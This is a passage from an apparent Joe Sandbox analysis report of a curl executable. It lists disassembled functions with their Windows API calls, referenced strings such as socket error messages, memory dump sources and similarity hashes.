Part of subcall function 0087D33A: _mbspbrk.API-MS-WIN-CRT-MULTIBYTE-L1-1-0(security.dll,008B7348,?,?,?,?,?,00894EA1,?,?,0087D2C2), ref: 0087D374
Part of subcall function 0087D33A: LoadLibraryExA.KERNELBASE(?,?,?,00894EA1,?,?,0087D2C2), ref: 0087D3B6

GetProcAddress.API-MS-WIN-CORE-LIBRARYLOADER-L1-2-0(00000000,if_nametoindex), ref: 0087D2DF
QueryPerformanceFrequency.API-MS-WIN-CORE-PROFILE-L1-1-0(008CFAE8), ref: 0087D315

Strings

iphlpapi.dll, xrefs: 0087D2C6
if_nametoindex, xrefs: 0087D2D9

Memory Dump Source

Source File: 0000000D.00000002.2189168882.0000000000861000.00000020.00000001.01000000.00000007.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000D.00000002.2189145513.0000000000860000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189263682.00000000008CF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_860000_curl.jbxd

Similarity

API ID: AddressProc$CleanupFrequencyHandleLibraryLoadModulePerformanceQueryStartup_mbspbrk
String ID: if_nametoindex$iphlpapi.dll
API String ID: 3026270583-3097795196
Opcode ID: 1d32f3cdb44d05bc0d71cf6dea073326bd7f1d7b1f8b82114790650e0d4c062f
Instruction ID: 1c07faf44b1b6de6141ab23f0f8f077a9594b10e9cbfcb2f73ccd65551860a89
Opcode Fuzzy Hash: 1d32f3cdb44d05bc0d71cf6dea073326bd7f1d7b1f8b82114790650e0d4c062f
Instruction Fuzzy Hash: AC11E5716147019BE720AB78AC1AF6A37B9FF45710F404529EB5DC6296FA30D8058753

Function 0088F35E Relevance: 9.3, APIs: 6, Instructions: 269networkCOMMON

Download Yara Rule

APIs

WSASetLastError.WS2_32(00002726,00000000,00000000,00000000), ref: 0088F506
__aulldvrm.LIBCMT ref: 0088F55C
select.WS2_32(00000100,?,?,?,?), ref: 0088F5E9
__WSAFDIsSet.WS2_32(000000FF,?), ref: 0088F623
__WSAFDIsSet.WS2_32(000000FF,?), ref: 0088F65B
__WSAFDIsSet.WS2_32(000000FF,?), ref: 0088F679

Memory Dump Source

Source File: 0000000D.00000002.2189168882.0000000000861000.00000020.00000001.01000000.00000007.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000D.00000002.2189145513.0000000000860000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189263682.00000000008CF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_860000_curl.jbxd

Similarity

API ID: ErrorLast__aulldvrmselect
String ID:
API String ID: 1566158641-0
Opcode ID: e84576bcf44d3c168efdbda348a47f31b4edf5f6e23e3d50dbb8d63870899388
Instruction ID: 8f5302314ba354ff52c6f06e829d3ebd9b5fa19454c9283ab90b2a6c32aac639
Opcode Fuzzy Hash: e84576bcf44d3c168efdbda348a47f31b4edf5f6e23e3d50dbb8d63870899388
Instruction Fuzzy Hash: 12A19570A002198BDB39EF29CC806AAB7F9FF58314F1445BEE659D6252E7709E81CF44

Function 008636BA Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 69COMMON

Download Yara Rule

APIs

_strdup.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 00863737
_close.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 00863742

Strings

%s\%s, xrefs: 008636FC
%s\%c%s, xrefs: 008636EB
._, xrefs: 008636D1

Memory Dump Source

Source File: 0000000D.00000002.2189168882.0000000000861000.00000020.00000001.01000000.00000007.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000D.00000002.2189145513.0000000000860000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189263682.00000000008CF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_860000_curl.jbxd

Similarity

API ID: _close_strdup
String ID: %s\%c%s$%s\%s$._
API String ID: 2375632809-4149339551
Opcode ID: c9a3070457ea81a15f0a575b6bcd31ef635ab72297d74a0048e0b128b753cd5e
Instruction ID: 51cc44e3744ceb4336acd3a4e402372c786ea8f47eb6a9972afd922079530107
Opcode Fuzzy Hash: c9a3070457ea81a15f0a575b6bcd31ef635ab72297d74a0048e0b128b753cd5e
Instruction Fuzzy Hash: E71159E79082096EA7056BAC9C429BEB7B8FF85720F14807DF954E7341FA60DA4146A2

Function 0087DCB0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 66networkCOMMON

Download Yara Rule

APIs

setsockopt.WS2_32(?,0000FFFF,00000008,?,00000004), ref: 0087DCE2
WSAIoctl.WS2_32(?,98000004,00000001,0000000C,00000000,00000000,?,00000000,00000000), ref: 0087DD3E
WSAGetLastError.WS2_32(?,98000004,00000001,0000000C,00000000,00000000,?,00000000,00000000,?,0000FFFF,00000008,?,00000004), ref: 0087DD48

Strings

Failed to set SIO_KEEPALIVE_VALS on fd %d: %d, xrefs: 0087DD50
Failed to set SO_KEEPALIVE on fd %d, xrefs: 0087DCED

Memory Dump Source

Source File: 0000000D.00000002.2189168882.0000000000861000.00000020.00000001.01000000.00000007.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000D.00000002.2189145513.0000000000860000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189263682.00000000008CF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_860000_curl.jbxd

Similarity

API ID: ErrorIoctlLastsetsockopt
String ID: Failed to set SIO_KEEPALIVE_VALS on fd %d: %d$Failed to set SO_KEEPALIVE on fd %d
API String ID: 1819429192-3022933585
Opcode ID: 7f0fe98cce222c00012f4f4125e086fec4b3b9ceca7a656efb2e23437d7ee60a
Instruction ID: 7f29869a8f89b7769d668563c98119f8f57645465c767dc48ed57d592c52eb22
Opcode Fuzzy Hash: 7f0fe98cce222c00012f4f4125e086fec4b3b9ceca7a656efb2e23437d7ee60a
Instruction Fuzzy Hash: CA116DB2A01605ABE714DF648C46EBF7BBDFB45710F00422EB519E6180EA749A058BA1

Function 00876F2D Relevance: 7.7, APIs: 4, Strings: 1, Instructions: 225COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00876F9B
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00876FB9
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 008770AA
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00877229

Strings

Connection #%ld to host %s left intact, xrefs: 00877182

Memory Dump Source

Source File: 0000000D.00000002.2189168882.0000000000861000.00000020.00000001.01000000.00000007.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000D.00000002.2189145513.0000000000860000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189263682.00000000008CF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_860000_curl.jbxd

Similarity

API ID: free
String ID: Connection #%ld to host %s left intact
API String ID: 1294909896-3505918467
Opcode ID: fcf0fffce4705b9d4fa7c89eb855205cabfa9f5583487f596050e8b971ec91d1
Instruction ID: 8d6b5c75cf06ec52cdb15fd383585c227a81ff431c30faf00154090a5580ee56
Opcode Fuzzy Hash: fcf0fffce4705b9d4fa7c89eb855205cabfa9f5583487f596050e8b971ec91d1
Instruction Fuzzy Hash: 8B81F930B04615DBDB29DF24C8857E9B7A1FF44710F088169E85CDB29ADB70AC81CBA1

Function 008631FA Relevance: 7.5, APIs: 5, Instructions: 43COMMON

Download Yara Rule

APIs

GetStdHandle.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0(000000F5,00869002), ref: 008631FC
GetConsoleMode.KERNELBASE(00000000,008CF568), ref: 00863212
SetConsoleCtrlHandler.API-MS-WIN-CORE-CONSOLE-L1-1-0(Function_000031E0,00000001,?), ref: 00863239
SetConsoleMode.KERNELBASE(00000003), ref: 00863252
SetConsoleCtrlHandler.API-MS-WIN-CORE-CONSOLE-L1-1-0(Function_000031E0,00000000), ref: 0086326C

Memory Dump Source

Source File: 0000000D.00000002.2189168882.0000000000861000.00000020.00000001.01000000.00000007.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000D.00000002.2189145513.0000000000860000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189263682.00000000008CF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_860000_curl.jbxd

Similarity

API ID: Console$CtrlHandlerMode$Handle
String ID:
API String ID: 575565773-0
Opcode ID: 5e64efe8ec7e8ca30eb7e3a7e12b73bdcd5e17b5c6210fd485d2bd0df3148ba9
Instruction ID: 1fc17ecb549a94df83c0a72703fd0d619848ec193021aab0e527537bbd90c358
Opcode Fuzzy Hash: 5e64efe8ec7e8ca30eb7e3a7e12b73bdcd5e17b5c6210fd485d2bd0df3148ba9
Instruction Fuzzy Hash: D80119306047116BEB119F78AC19F6937BAFF05727B160234FB61D62E1EA71CA428660

Function 00861E09 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 93stringCOMMON

Download Yara Rule

APIs

strtol.API-MS-WIN-CRT-CONVERT-L1-1-0(00000000,?,0000000A,?,?,?,?), ref: 00861E56
GetStdHandle.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0(000000F4,?,?,?), ref: 00861E9D
GetConsoleScreenBufferInfo.KERNELBASE(00000000,?,?,?,?), ref: 00861EAD

Strings

COLUMNS, xrefs: 00861E3F

Memory Dump Source

Source File: 0000000D.00000002.2189168882.0000000000861000.00000020.00000001.01000000.00000007.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000D.00000002.2189145513.0000000000860000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189263682.00000000008CF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_860000_curl.jbxd

Similarity

API ID: BufferConsoleHandleInfoScreenstrtol
String ID: COLUMNS
API String ID: 283564500-2475376301
Opcode ID: abf6e07c4d268f074403457505eee6357a546293e8675f4f13a45d91bbca8f5f
Instruction ID: 5fa1049ebb5f3fce01e89e0d87285c1b27f563b8f1858f755b7983a8c2ef9128
Opcode Fuzzy Hash: abf6e07c4d268f074403457505eee6357a546293e8675f4f13a45d91bbca8f5f
Instruction Fuzzy Hash: 5531C2709006048FDB24DF69D888BBAB7F4FF04314F69062ED846DA292E736ED85CB50

Function 00894E72 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 38libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 00870B38: GetModuleHandleA.API-MS-WIN-CORE-LIBRARYLOADER-L1-2-0(ntdll,RtlVerifyVersionInfo), ref: 00870B6D
Part of subcall function 00870B38: GetProcAddress.API-MS-WIN-CORE-LIBRARYLOADER-L1-2-0(00000000), ref: 00870B74

Part of subcall function 0087D33A: GetModuleHandleA.API-MS-WIN-CORE-LIBRARYLOADER-L1-2-0(kernel32,?,?,?,?,00894EA1,?,?,0087D2C2), ref: 0087D34B
Part of subcall function 0087D33A: GetProcAddress.API-MS-WIN-CORE-LIBRARYLOADER-L1-2-0(00000000,LoadLibraryExA,?,?,?,?,?,00894EA1,?,?,0087D2C2), ref: 0087D363
Part of subcall function 0087D33A: _mbspbrk.API-MS-WIN-CRT-MULTIBYTE-L1-1-0(security.dll,008B7348,?,?,?,?,?,00894EA1,?,?,0087D2C2), ref: 0087D374
Part of subcall function 0087D33A: LoadLibraryExA.KERNELBASE(?,?,?,00894EA1,?,?,0087D2C2), ref: 0087D3B6

GetProcAddress.KERNELBASE(00000000,InitSecurityInterfaceA,?,?,0087D2C2), ref: 00894EB0

Strings

security.dll, xrefs: 00894E94
InitSecurityInterfaceA, xrefs: 00894EAA
secur32.dll, xrefs: 00894E8D

Memory Dump Source

Source File: 0000000D.00000002.2189168882.0000000000861000.00000020.00000001.01000000.00000007.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000D.00000002.2189145513.0000000000860000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189263682.00000000008CF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_860000_curl.jbxd

Similarity

API ID: AddressProc$HandleModule$LibraryLoad_mbspbrk
String ID: InitSecurityInterfaceA$secur32.dll$security.dll
API String ID: 2293913591-3788156360
Opcode ID: 0b80fbbe479723f9a0e46d8d663f8c015539f17f5a240db5e74899d6895532b2
Instruction ID: 05b8773209675048da080967e5d3b300460f03de32403456602cf96fce8f0d6b
Opcode Fuzzy Hash: 0b80fbbe479723f9a0e46d8d663f8c015539f17f5a240db5e74899d6895532b2
Instruction Fuzzy Hash: 09F0E2B1604B125BEF253B387C1AF6E2766FB80324F088539F700D6285EB78CC0A8A40

Function 00881CDF Relevance: 6.3, APIs: 5, Instructions: 82COMMON

Download Yara Rule

APIs

calloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?,00872254,?,?,?,00868B8E), ref: 00881CFE
calloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,00872254,?,?,?,00868B8E), ref: 00881D28
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00868B8E), ref: 00881D45

Part of subcall function 00881AEE: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000001,00000000,754C1980,?,00881D52,?,?,?,?,00868B8E), ref: 00881AF5
Part of subcall function 00881AEE: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00881D52,?,?,?,?,00868B8E), ref: 00881B03
Part of subcall function 00881AEE: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,00881D52,?,?,?,?,00868B8E), ref: 00881B11

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,00868B8E), ref: 00881DAC
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00868B8E), ref: 00881DCC

Part of subcall function 00887F41: free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00888006
Part of subcall function 00887F41: free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00888023

Memory Dump Source

Source File: 0000000D.00000002.2189168882.0000000000861000.00000020.00000001.01000000.00000007.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000D.00000002.2189145513.0000000000860000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189263682.00000000008CF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_860000_curl.jbxd

Similarity

API ID: free$__acrt_iob_func$calloc
String ID:
API String ID: 3275786289-0
Opcode ID: 8880d68ed4d0d1de72c644997f577f99682c30e73a0c4f4ac3c98109f1b95392
Instruction ID: 6f2b89765e12af5a474b446dca999d86669041bdc9d137ab751ed60ef70b45da
Opcode Fuzzy Hash: 8880d68ed4d0d1de72c644997f577f99682c30e73a0c4f4ac3c98109f1b95392
Instruction Fuzzy Hash: B92191317446169FDB08AF24E80976DBFF5FF85760F24822AE51AD7392DFB028018B90

Function 0086CF30 Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 92COMMON

Download Yara Rule

APIs

Part of subcall function 008632D3: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008), ref: 008632F6

calloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 0086CF70

Strings

hnd = curl_easy_init();, xrefs: 0086CF30
out of memory, xrefs: 0086CF45
Q, xrefs: 0086CFD9

Memory Dump Source

Source File: 0000000D.00000002.2189168882.0000000000861000.00000020.00000001.01000000.00000007.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000D.00000002.2189145513.0000000000860000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189263682.00000000008CF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_860000_curl.jbxd

Similarity

API ID: callocmalloc
String ID: hnd = curl_easy_init();$out of memory$Q
API String ID: 1635859522-3006749264
Opcode ID: 7c7a3b10b8289ba08a73987ff58d8e7076345d04ebdc11fdb511e0d04392561e
Instruction ID: 87b9ae0d08bd47778a215161c63da8748b53845d46fd31c93e8517fed190f1d9
Opcode Fuzzy Hash: 7c7a3b10b8289ba08a73987ff58d8e7076345d04ebdc11fdb511e0d04392561e
Instruction Fuzzy Hash: A0214771F0071067CB246B78A846B6E7B95FF54360F154029F94EE7386DEB0DD0486D2

Function 0087F1BA Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 177COMMON

Download Yara Rule

APIs

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 0087F255

Part of subcall function 0087941D: __alldvrm.LIBCMT ref: 00879466

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 0087F287

Strings

Connection time-out, xrefs: 0087F1ED

Memory Dump Source

Source File: 0000000D.00000002.2189168882.0000000000861000.00000020.00000001.01000000.00000007.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000D.00000002.2189145513.0000000000860000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189263682.00000000008CF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_860000_curl.jbxd

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@$__alldvrm
String ID: Connection time-out
API String ID: 67483490-165637984
Opcode ID: 530b75c69d4fd9b5b71b23235212f3a188f45f56ecc056b192f5dcd1a2f6726b
Instruction ID: ff844f309094f9086fbdcb274f9f5a12925b1ec09bcf3ecafa95839b5c951f52
Opcode Fuzzy Hash: 530b75c69d4fd9b5b71b23235212f3a188f45f56ecc056b192f5dcd1a2f6726b
Instruction Fuzzy Hash: 4D519471B04605AFE718DF6A9845AAEB7B5FF84710F10C139E51DDB386D770E9418B80

Function 0087D7C0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 62networkCOMMON

Download Yara Rule

APIs

Part of subcall function 0087D482: malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 0087D52F

send.WS2_32(?,?,?,00000000), ref: 0087D80F
WSAGetLastError.WS2_32 ref: 0087D81F

Strings

Send failure: %s, xrefs: 0087D849

Memory Dump Source

Source File: 0000000D.00000002.2189168882.0000000000861000.00000020.00000001.01000000.00000007.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000D.00000002.2189145513.0000000000860000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189263682.00000000008CF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_860000_curl.jbxd

Similarity

API ID: ErrorLastmallocsend
String ID: Send failure: %s
API String ID: 1822245873-857917747
Opcode ID: 94ec9b16885dd6361928ec5a8d88a182ee1f9dec8d16a60e38462faf97a2ebc7
Instruction ID: 306cc56b293d5c64cb4851cc53823fa7801c41531db8879511743d24e7f1aec8
Opcode Fuzzy Hash: 94ec9b16885dd6361928ec5a8d88a182ee1f9dec8d16a60e38462faf97a2ebc7
Instruction Fuzzy Hash: 991193716003089BD711AF68DC41BDEB7B9FF88324F108A69E929D72C1D7B1D985CB91

Function 0087ED5E Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 37networkCOMMON

Download Yara Rule

APIs

setsockopt.WS2_32(?,00000006,00000001,?,00000004), ref: 0087ED8A
WSAGetLastError.WS2_32 ref: 0087ED95

Part of subcall function 0087A0B8: GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 0087A0C3
Part of subcall function 0087A0B8: _errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 0087A0CB
Part of subcall function 0087A0B8: __sys_nerr.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 0087A0DD
Part of subcall function 0087A0B8: __sys_errlist.API-MS-WIN-CRT-RUNTIME-L1-1-0(000000FF), ref: 0087A0EC
Part of subcall function 0087A0B8: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000), ref: 0087A0F6
Part of subcall function 0087A0B8: _strrchr.LIBCMT ref: 0087A142
Part of subcall function 0087A0B8: _strrchr.LIBCMT ref: 0087A15C
Part of subcall function 0087A0B8: _errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 0087A173
Part of subcall function 0087A0B8: _errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 0087A180
Part of subcall function 0087A0B8: GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 0087A188
Part of subcall function 0087A0B8: SetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0(00000000), ref: 0087A193

Strings

Could not set TCP_NODELAY: %s, xrefs: 0087EDAA

Memory Dump Source

Source File: 0000000D.00000002.2189168882.0000000000861000.00000020.00000001.01000000.00000007.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000D.00000002.2189145513.0000000000860000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189263682.00000000008CF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_860000_curl.jbxd

Similarity

API ID: ErrorLast$_errno$_strrchr$__sys_errlist__sys_nerrsetsockoptstrncpy
String ID: Could not set TCP_NODELAY: %s
API String ID: 2763351927-4027281243
Opcode ID: 14179f871cb01f59f15605822c6e9ee3490324cfdde85e920d76856b5e501f7c
Instruction ID: 28fcc3c81bb9f76ad803e249021b953d59ca2ae4f990841509ba4fdb142f18b7
Opcode Fuzzy Hash: 14179f871cb01f59f15605822c6e9ee3490324cfdde85e920d76856b5e501f7c
Instruction Fuzzy Hash: A4F0F670A006046ADB24BB24DC16EEE77B9FF14300F00426DE449D6280EAB4DA444E81

Function 0087E272 Relevance: 4.5, APIs: 3, Instructions: 42networkCOMMON

Download Yara Rule

APIs

SleepEx.KERNELBASE(00000000,00000000), ref: 0087E28C
getsockopt.WS2_32(?,0000FFFF,00001007,?,00000004), ref: 0087E2A5
WSAGetLastError.WS2_32(?,0000FFFF,00001007,?,00000004), ref: 0087E2AF

Memory Dump Source

Source File: 0000000D.00000002.2189168882.0000000000861000.00000020.00000001.01000000.00000007.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000D.00000002.2189145513.0000000000860000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189263682.00000000008CF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_860000_curl.jbxd

Similarity

API ID: ErrorLastSleepgetsockopt
String ID:
API String ID: 3033474312-0
Opcode ID: 5de96ac31d62f6d4a8ace242d8da89a11526c8bf4e0dbe22c90b16681f29a5bc
Instruction ID: cf64b96e50d1a1485568e4947eee0cbdca0168ab35320215ec2edc19a0857de2
Opcode Fuzzy Hash: 5de96ac31d62f6d4a8ace242d8da89a11526c8bf4e0dbe22c90b16681f29a5bc
Instruction Fuzzy Hash: 97F09671610609BFD7109F95CC44EAE7BBCFB49318F104169F509D3290E770DD059660

Function 0087850E Relevance: 4.1, APIs: 3, Instructions: 367COMMON

Download Yara Rule

APIs

Part of subcall function 0088F90F: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 0088F962

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 008786E0
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00878712
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 0087875C

Part of subcall function 0087941D: __alldvrm.LIBCMT ref: 00879466

Memory Dump Source

Source File: 0000000D.00000002.2189168882.0000000000861000.00000020.00000001.01000000.00000007.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000D.00000002.2189145513.0000000000860000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189263682.00000000008CF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_860000_curl.jbxd

Similarity

API ID: free$Unothrow_t@std@@@__alldvrm__ehfuncinfo$??2@
String ID:
API String ID: 256925405-0
Opcode ID: 9b97898dc031ef9c1db8a88b68af2a19d36a152bd1d647588a99fc323a4af59a
Instruction ID: 9b761f4942a7bb7f6be3876f9ae7fbb2e26f4a4095372128b395feefd1ec93c3
Opcode Fuzzy Hash: 9b97898dc031ef9c1db8a88b68af2a19d36a152bd1d647588a99fc323a4af59a
Instruction Fuzzy Hash: 68D19831E44614DBDF14DF5888897ADBBB2FF85310F28816AD849EF28ADE719C418B91

Function 00878063 Relevance: 3.3, APIs: 1, Strings: 1, Instructions: 264COMMON

Download Yara Rule

Strings

operation aborted by pre-request callback, xrefs: 008780B5

Memory Dump Source

Source File: 0000000D.00000002.2189168882.0000000000861000.00000020.00000001.01000000.00000007.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000D.00000002.2189145513.0000000000860000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189263682.00000000008CF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_860000_curl.jbxd

Similarity

API ID: free
String ID: operation aborted by pre-request callback
API String ID: 1294909896-1824986975
Opcode ID: 43777340b9849d99626aabd347dfe69dcd5a5da3f29716c79571c0e39f06dfeb
Instruction ID: fe43e8a9aa9db2a1c0e61ed17f28c543b9b8cd40f69ae248ad27266bd365cce4
Opcode Fuzzy Hash: 43777340b9849d99626aabd347dfe69dcd5a5da3f29716c79571c0e39f06dfeb
Instruction Fuzzy Hash: 4A91B331A44204DBDF149F68D8897ADBBA1FF84324F28817AD809EB2DADE70CC45CB51

Function 0086CA6A Relevance: 3.1, APIs: 1, Strings: 1, Instructions: 95COMMON

Download Yara Rule

Strings

no transfer performed, xrefs: 0086CA7A

Memory Dump Source

Source File: 0000000D.00000002.2189168882.0000000000861000.00000020.00000001.01000000.00000007.sdmp, Offset: 00860000, based on PE: true

